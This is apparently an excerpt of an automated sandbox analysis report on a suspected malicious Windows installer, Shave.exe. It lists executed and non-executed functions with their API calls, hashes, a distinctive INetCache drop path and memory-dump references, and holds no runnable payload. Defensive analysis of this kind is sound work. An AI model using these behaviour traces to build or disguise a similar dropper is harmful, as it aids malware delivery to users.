Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction ID: c073ba0ee5163cb04706f99935c2f3c73a5a9b1a05bee32f9da8622fc5c815d0
Opcode Fuzzy Hash: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction Fuzzy Hash: 68D01272B04100D7DB50DBE4AF4899D73A4AB84369B348577E102F11D0DAB9D9515B29

Function 00404243 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,0040406E), ref: 00404251

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction ID: 5dee82f2d739acac93035fb571c052082ac1606baee7bb158d490297d0aa81d3
Opcode Fuzzy Hash: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction Fuzzy Hash: 99B09236190A00AADE614B40DE49F457A62A7A8701F00C029B240640B0CAB200A0DB09

Function 00403324 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,00000008,0000000A), ref: 00403332

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction ID: a51ecd0892fb275ea92473d319bbbc5ec4fc6164fb370921ec18ec876cc9dfbc
Opcode Fuzzy Hash: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction Fuzzy Hash: A6D05E73E142008BD750DBB8BA8945E73A8F781319320C83BE102F1191E97888524A2D

Non-executed Functions

Function 0040543E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040549C
GetDlgItem.USER32(?,000003EE), ref: 004054AB
GetClientRect.USER32(?,?), ref: 004054E8
GetSystemMetrics.USER32(00000002), ref: 004054EF
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405510
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405521
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405534
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405542
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405555
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405577
ShowWindow.USER32(?,00000008), ref: 0040558B
GetDlgItem.USER32(?,000003EC), ref: 004055AC
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055BC
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055D5
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055E1
GetDlgItem.USER32(?,000003F8), ref: 004054BA

Part of subcall function 00404243: SendMessageW.USER32(00000028,?,00000001,0040406E), ref: 00404251

GetDlgItem.USER32(?,000003EC), ref: 004055FE
CreateThread.KERNEL32(00000000,00000000,Function_000053D2,00000000), ref: 0040560C
CloseHandle.KERNEL32(00000000), ref: 00405613
ShowWindow.USER32(00000000), ref: 00405637
ShowWindow.USER32(?,00000008), ref: 0040563C
ShowWindow.USER32(00000008), ref: 00405686
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056BA
CreatePopupMenu.USER32 ref: 004056CB
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056DF
GetWindowRect.USER32(?,?), ref: 004056FF
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405718
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405750
OpenClipboard.USER32(00000000), ref: 00405760
EmptyClipboard.USER32 ref: 00405766
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405772
GlobalLock.KERNEL32(00000000), ref: 0040577C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405790
GlobalUnlock.KERNEL32(00000000), ref: 004057B0
SetClipboardData.USER32(0000000D,00000000), ref: 004057BB
CloseClipboard.USER32 ref: 004057C1

Strings

{, xrefs: 004056A4

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction ID: e2c232b37aba284685acfefcf9c5e68312cc9a4ea8bcb72f9f75ba3fcde89da4
Opcode Fuzzy Hash: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction Fuzzy Hash: 0EB15871900608FFDB119FA0DD89EAE7B79FB48354F00812AFA44BA1A0CB795E51DF58

Function 004046FF Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040474E
SetWindowTextW.USER32(00000000,?), ref: 00404778
SHBrowseForFolderW.SHELL32(?), ref: 00404829
CoTaskMemFree.OLE32(00000000), ref: 00404834
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,?), ref: 00404866
lstrcatW.KERNEL32(?,Call), ref: 00404872
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404884

Part of subcall function 004058E1: GetDlgItemTextW.USER32(?,?,00000400,004048BB), ref: 004058F4

Part of subcall function 0040652B: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shave.exe",00403347,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
Part of subcall function 0040652B: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
Part of subcall function 0040652B: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shave.exe",00403347,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
Part of subcall function 0040652B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shave.exe",00403347,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,00000001,0079FEF0,?,?,000003FB,?), ref: 00404947
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404962

Part of subcall function 00404ABB: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
Part of subcall function 00404ABB: wsprintfW.USER32 ref: 00404B65
Part of subcall function 00404ABB: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

Call, xrefs: 00404860, 00404865, 00404870
A, xrefs: 00404822
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 0040484F

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$Call
API String ID: 2624150263-2515044598
Opcode ID: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction ID: d6689dd06746f62e3dccefeeeb603cce7d7bc9c76077680089f181f5c68842d6
Opcode Fuzzy Hash: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction Fuzzy Hash: DFA190F1900209ABDB11AFA5CD41AAFB7B8EF85304F10843BF611B62D1D77C99418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne
API String ID: 542301482-613682384
Opcode ID: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction ID: 8dfa29a236a07f1275cc6a79af1154fb3a8ffb17113c9066b1df84c51f017d98
Opcode Fuzzy Hash: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction Fuzzy Hash: 4F413A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction ID: f65ff15fdb1f10fb5373ba158cef8787300933468326e23b7288bb8c2237705b
Opcode Fuzzy Hash: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction Fuzzy Hash: 87F0E271A10000ABCB00EFA0D9099ADB378EF04314F20417BF401F21D0DBB85D409B2A

Function 004043CD Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040446B
GetDlgItem.USER32(?,000003E8), ref: 0040447F
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040449C
GetSysColor.USER32(?), ref: 004044AD
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044BB
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044C9
lstrlenW.KERNEL32(?), ref: 004044CE
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044DB
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044F0
GetDlgItem.USER32(?,0000040A), ref: 00404549
SendMessageW.USER32(00000000), ref: 00404550
GetDlgItem.USER32(?,000003E8), ref: 0040457B
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045BE
LoadCursorW.USER32(00000000,00007F02), ref: 004045CC
SetCursor.USER32(00000000), ref: 004045CF
LoadCursorW.USER32(00000000,00007F00), ref: 004045E8
SetCursor.USER32(00000000), ref: 004045EB
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040461A
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040462C

Strings

N, xrefs: 00404569
Call, xrefs: 004045AA
DC@, xrefs: 004045D7

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$DC@$N
API String ID: 3103080414-3199507676
Opcode ID: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction ID: 7c305bb631aa8564409a9791ba7e53f932479190766108f73685c8e55a50eb1d
Opcode Fuzzy Hash: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction Fuzzy Hash: 3B61A0B1900209BFDF10AF60DD45AAA7B69FB85344F00843AF701B61E0D77DA951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
